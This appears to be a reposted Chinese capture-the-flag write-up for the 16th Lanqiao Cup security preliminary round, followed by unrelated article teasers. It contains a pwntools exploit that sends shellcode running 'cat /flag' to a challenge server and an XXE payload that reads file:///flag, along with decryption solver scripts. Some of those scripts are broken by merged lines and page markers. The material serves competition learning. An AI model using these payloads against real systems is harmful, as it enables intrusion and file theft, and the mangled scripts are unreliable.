第十六届蓝桥杯网安初赛wp

解题列表

根据提示一步一步走,经过猜测,测试出app.py

经过仔细研读代码,找到密钥

编写python代码拿到flag

key = 'secret_key9828'
flag='d9d1c4d9e0d6c29e9aad71696565d99bc8d892a8979ec7a69b9a6868a095c8d89dac91d19ba9716f63b5'
new=bytearray()
flag=bytes.fromhex(flag)
for i in range(len(flag)):decrypt=flag[i]-ord(key[i%len(key)])new.append(decrypt)
print(new)

打开之后,经过翻找得到flag

使用分析工具CTF-NetA-V0.3.0一把梭

在cyberchef解密即可

from Cryptodome.Cipher import AES
b = {
'7': ['3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
'4': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
'a': ['a', 'b', 'c', 'd', 'e', 'f'],
'e': ['c', 'd'],
'b': ['9', 'a', 'b', 'c', 'd'],
'3': ['1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
'5': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a'],
'6': ['4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
'c': ['0', '1', '2', '3'],
'f': ['7'],
'd': ['c', 'd', 'e'],
'1': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',
'e'],
'9': ['0', '1', '2', '3', '4', '5', '6'],
'0': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',
'e', 'f']
}
gift = 64698960125130294692475067384121553664
key1_hex = "74aeb356c6eb74f364cd316497c0f714"
cipher =
b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc
7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
char_to_num = {f"{i:x}": i for i in range(16)}
b_numeric = {}
for k in b:
k_num = char_to_num[k]
b_numeric[k_num] = [char_to_num[c] for c in b[k]]
key1_digits = [char_to_num[c] for c in key1_hex]
gift_bin = bin(gift)[2:].zfill(128)
18 / 21gift_nibbles = [int(gift_bin[i*4 : (i+1)*4], 2) for i in range(32)]
candidates = []
for i in range(32):
k = key1_digits[i]
g = gift_nibbles[i]
user_candidates = b_numeric.get(k, list(range(16)))
valid_candidates = [c for c in user_candidates if (c & k) == g]
candidates.append(valid_candidates)
def solve():
used = [False] * 16
mapping = {}
def backtrack(pos):
if pos == 32:
key0_digits = [mapping[k] for k in key1_digits]
key0_hex = "".join(f"{c:x}" for c in key0_digits)
try:
aes0 = AES.new(bytes.fromhex(key0_hex), AES.MODE_CBC,
bytes.fromhex(key1_hex))
aes1 = AES.new(bytes.fromhex(key1_hex), AES.MODE_CBC,
bytes.fromhex(key0_hex))
plaintext = aes0.decrypt(aes1.encrypt(cipher))
if b"flag{" in plaintext:
print("Found valid key0:", key0_hex)
print("Flag:", plaintext.decode())
return True
except:
pass
return False
k = key1_digits[pos]
if k in mapping:
return backtrack(pos + 1)
for c in candidates[pos]:
if not used[c]:
valid = True
for future_pos in range(pos+1, 32):
future_k = key1_digits[future_pos]
if future_k == k:
19 / 21future_g = gift_nibbles[future_pos]
if (c & future_k) != future_g:
valid = False
break
if not valid:
continue
used[c] = True
mapping[k] = c
if backtrack(pos + 1):
return True
del mapping[k]
used[c] = False
return False
sorted_positions = sorted(range(32), key=lambda x: len(candidates[x]))
return backtrack(0)
if not solve():
print("No valid mapping found.")

block = [0x00, 0x05, 0x83, 0x80, 0x8E, 0x2B, 0x00, 0x83, 0x2F, 0xAA, 0x2B, 0x81, 0xA8, 0xA5]
v17 = [0x13, 0x39, 0xBE, 0xBE, 0xB4, 0x38, 0xB8, 0xBA, 0xBB, 0xB4, 0x3E, 0x90, 0x3A, 0xBA, 0xB4]
v16 = [0x8B, 0x89, 0x22, 0x88, 0x8B, 0x20, 0x09, 0x22, 0x88, 0x08, 0x8D, 0x88, 0xAF]key1 = 0x99 ^ 0xFF
key2 = 0xDD ^ 0x99
key3 = 0xFF ^ 0xDDdef left_shift(byte):return ((byte << 1) | (byte >> 7)) & 0xFFdef xor_operation(data, length, key):result = []for i in range(length):new_byte = key ^ left_shift(data[i])result.append(new_byte)return resultresult1 = xor_operation(block, 14, key1)
result2 = xor_operation(v17, 15, key2)
result3 = xor_operation(v16, 13, key3)
flag = ''.join(map(chr, result1 + result2 + result3))
print(flag)

from pwn import *
# p = process(r'D:\桌面\lllqqq\RuneBreach_331d31358bec3706d88a7bbe11e12bee\chall')
p = remote('8.147.132.32', 19652)
context(arch='amd64', os='linux', log_level='debug')
for _ in range(4):
    p.recvuntil(b'Defend? (y/N): ')
    p.sendline(b'n')
p.recvuntil(b'Your place is mine now ')
shell_addr = int(p.recvuntil(b'!\n', drop=True), 16)
print('exec_area:', hex(shell_addr))
shellcode = asm(shellcraft.cat('/flag'))
p.sendline(shellcode)
p.interactive()

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]>
<root>&xxe;</root>    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/80635.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【leetcode100】单词拆分

1、题目描述 给你一个字符串 s 和一个字符串列表 wordDict 作为字典。如果可以利用字典中出现的一个或多个单词拼接出 s 则返回 true。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重复使用。 示例 1&#xff1a; 输入: s "l…

机器人项目管理新风口:如何高效推动智能机器人研发?

在2025年政府工作报告中&#xff0c;“智能机器人”首次被正式纳入国家发展战略关键词。从蛇年春晚的秧歌舞机器人惊艳亮相&#xff0c;到全球首个人形机器人马拉松的热议&#xff0c;智能机器人不仅成为科技前沿的焦点&#xff0c;也为产业升级注入了新动能。而在热潮背后&…

k8s学习记录(四):节点亲和性

一、前言 在上一篇文章里&#xff0c;我们了解了 Pod 中的nodeName和nodeSelector这两个属性&#xff0c;通过它们能够指定 Pod 调度到哪个 Node 上。今天&#xff0c;我们将进一步深入探索 Pod 相关知识。这部分内容不仅信息量较大&#xff0c;理解起来也有一定难度&#xff0…

NeRF:原理 + 实现 + 实践全流程配置+数据集测试【Ubuntu20.04 】【2025最新版】

一、引言 从三维建模、虚拟现实到电影级渲染&#xff0c;真实感建模一直是计算机视觉和图形学的核心目标。 在传统方法中&#xff0c;我们往往依赖&#xff1a; 多视角立体&#xff08;MVS&#xff09;点云重建 网格拟合显式建模&#xff08;如多边形、体素、TSDF&#xff0…

ASP.NET MVC​ 入门指南三

16. 安全性 16.1 身份验证和授权 身份验证&#xff1a;确认用户的身份。ASP.NET MVC 支持多种身份验证方式&#xff0c;如表单身份验证、Windows 身份验证和 OAuth 等。 表单身份验证&#xff1a;用户通过输入用户名和密码登录&#xff0c;服务器验证后颁发一个身份验证票证&…

佳博票据和标签打印:Web网页端与打印机通信 | iOS

文章目录 引言I Web网页端与打印机通信webSDK(包含示例页)打印测试II iOS与佳博打印机通信引言 佳博工具下载ESC是票据打印指令,TSC是标签打印指令 工业打印机:佳博GP-H430F工业机标签条码打印机物流快递电子面单条码机碳带机 应用场景:打印商品价格标签、打印交易小票 I…

c语言初识

学c注意事项 我写了很多服务器的代码&#xff0c;我怕有些人看不懂所以就写了这篇入门篇。 学习c语言要多动手&#xff0c;多练习&#xff0c;其实语法就几个,你了解了就会写出自己想要的代码&#xff0c;你不要怕不会写不出程序&#xff0c;因为大部分代码都有人写好&#xf…

请求参数、路径参数、查询参数、Spring MVC/FeignClient请求相关注解梳理

目录 1 请求分类1.1 URL参数--查询参数1.2 URL参数--路径参数 2 请求相关注解2.1 RequestParam--查询参数2.2 PathVariable--路径参数2.3 RequestBody2.4 Param & RequestLine2.5 SpringMVC请求参数注解用在FeignClient里 使用SpringMVC处理http请求或使用FeignClient进行请…

智能指针之设计模式3

这次我们看一下智能指针是如何使用策略模式来释放资源的&#xff0c;同时又是如何扩展功能&#xff0c;管理更多的资源对象类型的。 3、策略模式 策略模式作为一种软件设计模式&#xff0c;指对象有某个行为&#xff0c;但是在不同的应用场景中&#xff0c;该行为有不同的实现…

华为盘古OS深度评测:构建AI自进化系统的实践密码

华为盘古OS通过分布式AI内核与自适应学习框架的深度耦合&#xff0c;重新定义操作系统级智能能力。实测显示其AI任务调度效率较传统系统提升17倍&#xff0c;本文从智能体编排、持续学习机制、端云协同架构三个维度&#xff0c;解析如何基于DevKit 3.0打造具备认知进化能力的下…

精益数据分析(28/126):解读商业模式拼图与关键指标

精益数据分析&#xff08;28/126&#xff09;&#xff1a;解读商业模式拼图与关键指标 在创业和数据分析的探索旅程中&#xff0c;每一次深入研究都可能带来新的启发和突破。今天&#xff0c;我们依旧带着共同进步的初心&#xff0c;深入解读《精益数据分析》中关于商业模式的…

GitLab Runner配置并行执行多个任务

检查并修改方法&#xff1a; 打开 Runner 的配置文件&#xff08;通常位于 /etc/gitlab-runner/config.toml 或 ~/.gitlab-runner/config.toml&#xff09;。 确保 concurrent 值大于 1&#xff0c;例如&#xff1a; concurrent 4 # 允许最多 4 个任务同时运行重启 Runner…

开发首个Spring Boot应用

&#x1f4cb; 前置条件 &#x1f3af; 在开始之前&#xff0c;请打开终端并运行以下命令以确保已安装正确版本的 Java&#xff1a; $ java -version openjdk version "17.0.4.1" 2022-08-12 LTS OpenJDK Runtime Environment (build 17.0.4.11-LTS) OpenJDK 64-Bi…

【信息系统项目管理师】高分论文:论质量管理和进度管理(智慧旅游平台建设项目)

更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 论文1、规划质量管理2、质量保证3、质量控制论文 2019年3月,我作为项目经理,参加了某市智慧旅游平台建设项目,负责项目的全面管理, 该项目以打造一流的国内外生态旅游城市为目标,旨在大数据云平台建设的基…

DAM-3B,英伟达推出的多模态大语言模型

DAM-3B是什么 DAM-3B&#xff08;Describe Anything 3B&#xff09;是英伟达推出的一款多模态大语言模型&#xff0c;专门用于为图像和视频中的特定区域生成详细描述。用户可以通过点、边界框、涂鸦或掩码等方式来标识目标区域&#xff0c;从而得到精准且符合上下文的文本描述…

如何判断你的PyTorch是GPU版还是CPU版?

如何判断你的PyTorch是GPU版还是CPU版&#xff1f; PyTorch作为当前最流行的深度学习框架之一&#xff0c;支持在CPU和GPU(NVIDIA CUDA)上运行。对于深度学习开发者来说&#xff0c;正确识别PyTorch版本至关重要&#xff0c;因为GPU版本可以带来10-100倍的性能提升。本文将全面…

Gin框架

Gin 快速入门 go get -u github.com/gin-gonic/gin package main import gin "github.com/gin-gonic/gin"func main() {engine : gin.Default()engine.GET("/", func(c *gin.Context) {c.String(200, "Hello Gin")})engine.Run(":8888&q…

【Project】基于spark-App端口懂车帝数据采集与可视化

文章目录 hadoop完全分布式部署hdfs-site.xmlcore-site.xmlmarpred-site.xmlyarn-site.xml spark集群部署spark-env.sh mongodb分片模式部署config 服务器初始化config 副本集 shard 服务器初始化shard 副本集 mongos服务器添加shard设置chunk大小 启动分片为集合 user 创建索引…

brew 安装openjdk查看其版本

使用brew&#xff08;如果你使用Homebrew安装&#xff09; 如果你通过Homebrew安装了OpenJDK&#xff0c;可以使用以下命令来查看安装的版本,&#xff1a; brew list --versions openjdk8 这将会列出所有通过Homebrew安装的OpenJDK版本及其版本号。 3. 查看/usr/libexec/ja…

【Linux网络】构建与优化HTTP请求处理 - HttpRequest从理解到实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…